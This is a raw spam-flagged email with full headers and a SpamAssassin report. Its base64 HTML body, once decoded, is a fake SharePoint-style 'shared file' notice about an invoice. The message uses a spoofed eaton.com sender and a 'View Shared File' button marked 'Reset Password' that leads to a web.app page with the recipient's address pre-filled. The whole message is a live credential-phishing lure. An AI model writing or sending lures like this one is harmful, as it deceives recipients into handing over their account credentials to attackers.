Return-Path: Delivered-To: info@sterlingcal.com Received: from reseller401.webserversystems.com by reseller401.webserversystems.com with LMTP id IJ37DxgFZ2KRLAEAchKAPA for ; Mon, 25 Apr 2022 15:31:20 -0500 Return-path: Envelope-to: info@sterlingcal.com Delivery-date: Mon, 25 Apr 2022 15:31:20 -0500 Received: from [45.86.86.139] (port=56492 helo=flocks.net) by reseller401.webserversystems.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.93) (envelope-from ) id 1nj5Mc-000KWI-6U for info@sterlingcal.com; Mon, 25 Apr 2022 15:31:19 -0500 Received: from flocks.net (flocks.net [127.0.0.1]) by flocks.net (8.14.7/8.14.7) with ESMTP id 23PKV2lV008933 for ; Mon, 25 Apr 2022 23:31:03 +0300 Received: (from root@localhost) by flocks.net (8.14.7/8.14.7/Submit) id 23PKV2LD008912; Mon, 25 Apr 2022 23:31:02 +0300 Message-Id: <202204252031.23PKV2LD008912@flocks.net> Mime-Version: 1.0 Date: Mon, 25 Apr 2022 23:31:02 +0300 ReplyTo: From: "travisbeert@eaton.com" To: info@sterlingcal.com Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 X-Spam-Status: Yes, score=12.2 X-Spam-Score: 122 X-Spam-Bar: ++++++++++++ X-Spam-Report: Spam detection software, running on the system "reseller401.webserversystems.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: This message was generated from an external source. Grant Access. Travis J. Beert shared a file with you Sent to info@sterlingcal.com Re: Eaton Project - Charleston Invoice #1700Q2311PDMS [...] Content analysis details: (12.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 SPF_NONE SPF: sender does not publish an SPF Record 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 2.5 DCC_CHECK No description available. 0.0 NAME_EMAIL_DIFF Sender NAME is an unrelated email address 1.7 FSL_BULK_SIG Bulk signature with no Unsubscribe -0.0 T_SCC_BODY_TEXT_LINE No description available. 3.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 3.0 URI_FIREBASEAPP Link to hosted firebase web application, possible phishing 1.0 FROM_MULTI_NORDNS Multiple From addresses + no rDNS 0.0 T_PDS_FROM_2_EMAILS From header has multiple different addresses X-Spam-Flag: YES Subject: [SPAM] FW: Shared File PHA+Jm5ic3A7PHNwYW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmZmZmMDA7IGNvbG9yOiAj MDAwMDAwOyI+PHN0cm9uZz5UaGlzIG1lc3NhZ2Ugd2FzIGdlbmVyYXRlZCBmcm9tIGFuIGV4dGVy bmFsIHNvdXJjZS4gR3JhbnQgQWNjZXNzLjwvc3Ryb25nPjwvc3Bhbj48L3A+DQo8ZGl2IHN0eWxl PSJtYXJnaW46IDEwcHggYXV0bzsgcGFkZGluZzogMDsgYm94LXNpemluZzogYm9yZGVyLWJveDsg d2lkdGg6IDU1MHB4OyBoZWlnaHQ6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyBib3Jk ZXI6IDJweCBzb2xpZCBsaWdodGdyZXk7IGJvcmRlci10b3A6IDZweCBzb2xpZCAjMjk4MGI5OyBk aXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBqdXN0aWZ5LWNvbnRlbnQ6IGNl bnRlcjsiPg0KPGRpdiBzdHlsZT0iYm94LXNpemluZzogYm9yZGVyLWJveDsgZmxleDogMTsgd2lk dGg6IDEwMCU7IHBhZGRpbmctbGVmdDogMjBweDsiPg0KPHAgc3R5bGU9ImJveC1zaXppbmc6IGJv cmRlci1ib3g7IGZvbnQtc2l6ZTogMjJweDsgbWFyZ2luLXRvcDogMTVweDsiPlRyYXZpcyBKLiBC ZWVydCBzaGFyZWQgYSBmaWxlIHdpdGggeW91PC9wPg0KPC9kaXY+DQo8ZGl2IHN0eWxlPSJib3gt c2l6aW5nOiBib3JkZXItYm94OyBmbGV4OiAxOyB3aWR0aDogMTAwJTsgcGFkZGluZy1sZWZ0OiAy MHB4OyI+DQo8cCBzdHlsZT0iYm94LXNpemluZzogYm9yZGVyLWJveDsgZm9udC1zaXplOiAxMXB4 OyBtYXJnaW4tdG9wOiAxNXB4OyI+U2VudCB0byBpbmZvQHN0ZXJsaW5nY2FsLmNvbTxiciAvPlJl OiBFYXRvbiBQcm9qZWN0IC0gQ2hhcmxlc3RvbjxiciAvPkludm9pY2UgIzE3MDBRMjMxMVBETVM8 L3A+DQo8L2Rpdj4NCjxkaXYgc3R5bGU9ImJveC1zaXppbmc6IGJvcmRlci1ib3g7IGZsZXg6IDI7 IHdpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDIwcHg7Ij4NCjxwPjxzcGFuIHN0eWxlPSJtYXJn aW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IGZvbnQtd2VpZ2h0OiBi b2xkOyI+TGF5ZXJlZCByZXNwb25zZXM6PC9zcGFuPjxzcGFuIHN0eWxlPSJib3gtc2l6aW5nOiBi b3JkZXItYm94OyBwYWRkaW5nLWxlZnQ6IDEwMHB4OyI+MTQ8L3NwYW4+PC9wPg0KPHA+PHNwYW4g c3R5bGU9ImJveC1zaXppbmc6IGJvcmRlci1ib3g7IGZvbnQtd2VpZ2h0OiBib2xkOyI+RGF0ZTom bmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsmbmJzcDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4g c3R5bGU9ImJveC1zaXppbmc6IGJvcmRlci1ib3g7IHBhZGRpbmctbGVmdDogOTBweDsiPiZuYnNw OzA0LzI1LzIwMjI8L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImJveC1zaXppbmc6IGJvcmRl ci1ib3g7IGZvbnQtd2VpZ2h0OiBib2xkOyI+VGltZTombmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJz cDsgJm5ic3A7PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIHN0eWxlPSJib3gtc2l6aW5nOiBib3Jk ZXItYm94OyBwYWRkaW5nLWxlZnQ6IDg3cHg7Ij4mbmJzcDszOjA0OjU4IFBNPC9zcGFuPjwvcD4N CjwvZGl2Pg0KPGRpdiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmctbGVmdDogMjBweDsiPjxh IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMjk4MGI5OyB3aWR0aDogMTQwcHg7IHBhZGRpbmc6 IDdweDsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6IDE0cHg7IGZvbnQtd2VpZ2h0OiA1MDA7IGN1 cnNvcjogcG9pbnRlcjsgYm9yZGVyOiAycHggc29saWQgIzI5ODBiOTsiIHRpdGxlPSJSZXNldCBQ YXNzd29yZCIgaHJlZj0iaHR0cHM6Ly9tb25zaGFyZXBvaW50Mi53ZWIuYXBwP2VtYWlsPWluZm9A c3RlcmxpbmdjYWwuY29tIj5WaWV3IFNoYXJlZCBGaWxlPC9hPjwvZGl2Pg0KPGJyIC8+DQo8ZGl2 IHN0eWxlPSJib3gtc2l6aW5nOiBib3JkZXItYm94OyBmbGV4OiAxOyB3aWR0aDogMTAwJTsgcGFk ZGluZy1sZWZ0OiAyMHB4OyI+DQo8cCBzdHlsZT0iZm9udC1zaXplOiAxMXB4OyI+VHJvdWJsZSB3 aXRoIHRoZSBhYm92ZSBsaW5rPyBZb3UgY2FuIGNvcHkgYW5kIHBhc3RlIHRoZSBmb2xsb3dpbmcg VVJMIGludG8geW91ciB3ZWIgYnJvd3Nlci4gPGJyIHN0eWxlPSJib3gtc2l6aW5nOiBib3JkZXIt Ym94OyIgLz4gVG8gb3B0IG91dCBvciBjaGFuZ2Ugd2hlcmUgeW91IHJlY2VpdmUgc2VjdXJpdHkg bm90aWZpY2F0aW9ucyA8YSBzdHlsZT0iYm94LXNpemluZzogYm9yZGVyLWJveDsgY29sb3I6ICMz NDk4ZGI7IiBocmVmPSJodHRwczovL21vbnNoYXJlcG9pbnQyLndlYi5hcHA/ZW1haWw9aW5mb0Bz dGVybGluZ2NhbC5jb20iPmNsaWNrIGhlcmU8L2E+PC9wPg0KPC9kaXY+DQo8L2Rpdj4=